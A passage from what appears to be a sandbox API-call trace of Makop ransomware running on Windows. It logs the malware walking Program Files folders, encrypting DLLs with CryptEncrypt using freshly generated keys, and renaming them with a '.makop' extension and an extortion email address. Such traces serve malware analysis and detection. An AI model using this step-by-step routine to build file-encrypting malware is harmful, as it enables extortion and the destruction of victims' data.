ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0084.295] FindClose (in: hFindFile=0x48c7028 | out: hFindFile=0x48c7028) returned 1 [0084.295] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe243c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe243c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0084.295] wsprintfW (in: param_1=0x657f770, param_2="%s\\%s" | out: param_1="C:\\Program Files") returned 16 [0084.295] wsprintfW (in: param_1=0x657ccf0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\*.*") returned 20 [0084.295] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe243c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe243c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7028 [0084.296] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe243c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe243c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.296] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc9a1e80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc9a1e80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0084.296] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files") returned 29 [0084.296] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\*.*") returned 33 [0084.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc9a1e80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc9a1e80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0084.296] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc9a1e80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc9a1e80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.296] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4266760, ftCreationTime.dwHighDateTime=0x1d56adb, ftLastAccessTime.dwLowDateTime=0xb42b36c0, ftLastAccessTime.dwHighDateTime=0x1d5d518, ftLastWriteTime.dwLowDateTime=0xb42b36c0, ftLastWriteTime.dwHighDateTime=0x1d5d518, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="aldelo.exe", cAlternateFileName="")) returned 1 [0084.296] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0084.297] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\DESIGNER") returned 38 [0084.297] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\DESIGNER\\*.*") returned 42 [0084.297] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0084.297] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.298] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0084.298] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0084.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.391] GetProcessHeap () returned 0x48a0000 [0084.391] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0084.391] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0084.391] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0084.391] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0084.392] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0084.392] GetProcessHeap () returned 0x48a0000 [0084.392] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0084.392] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0084.392] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0084.392] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0084.413] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0084.414] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0084.414] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0084.414] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0084.414] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0084.414] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0084.414] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0084.414] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.414] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x18340, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x18340, lpOverlapped=0x0) returned 1 [0084.418] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x18340, dwBufLen=0x18340 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x18340) returned 1 [0084.419] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.419] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x18340, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x18340, lpOverlapped=0x0) returned 1 [0084.420] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0084.420] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x18414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.420] SetEndOfFile (hFile=0x124) returned 1 [0084.430] GetProcessHeap () returned 0x48a0000 [0084.430] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0084.431] GetProcessHeap () returned 0x48a0000 [0084.431] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0084.431] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 98 [0084.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0084.434] CloseHandle (hObject=0x124) returned 1 [0084.434] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0084.435] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0084.435] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7c4b190, ftCreationTime.dwHighDateTime=0x1d5b3d0, ftLastAccessTime.dwLowDateTime=0xf9c15630, ftLastAccessTime.dwHighDateTime=0x1d58aa2, ftLastWriteTime.dwLowDateTime=0xf9c15630, ftLastWriteTime.dwHighDateTime=0x1d58aa2, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ericsson_contracting.exe", cAlternateFileName="ERICSS~1.EXE")) returned 1 [0084.435] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0084.435] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared") returned 46 [0084.435] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned 50 [0084.435] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0084.435] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.436] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0084.436] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\DW") returned 49 [0084.436] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*") returned 53 [0084.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0084.438] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.438] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0084.438] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0084.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0084.458] GetProcessHeap () returned 0x48a0000 [0084.458] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0084.458] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0084.459] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0084.459] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0084.459] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0084.459] GetProcessHeap () returned 0x48a0000 [0084.459] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0084.459] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0084.459] CryptDestroyKey (hKey=0x48c7128) returned 1 [0084.459] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0084.470] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0084.470] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0084.470] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0084.470] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0084.471] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0084.471] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0084.471] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0084.472] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.472] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x100000, lpOverlapped=0x0) returned 1 [0084.511] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x100000, dwBufLen=0x100000 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x100000) returned 1 [0084.521] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.521] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x100000, lpOverlapped=0x0) returned 1 [0084.529] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x14e834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.529] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0084.529] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.530] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4e760, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4e760, lpOverlapped=0x0) returned 1 [0084.634] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4e760, dwBufLen=0x4e760 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4e760) returned 1 [0084.637] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.637] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4e760, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4e760, lpOverlapped=0x0) returned 1 [0084.639] CryptDestroyKey (hKey=0x48c7128) returned 1 [0084.639] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x14e834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.639] SetEndOfFile (hFile=0xf0) returned 1 [0084.648] GetProcessHeap () returned 0x48a0000 [0084.648] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0084.648] GetProcessHeap () returned 0x48a0000 [0084.648] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0084.648] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0084.648] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0084.650] CloseHandle (hObject=0xf0) returned 1 [0084.650] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: 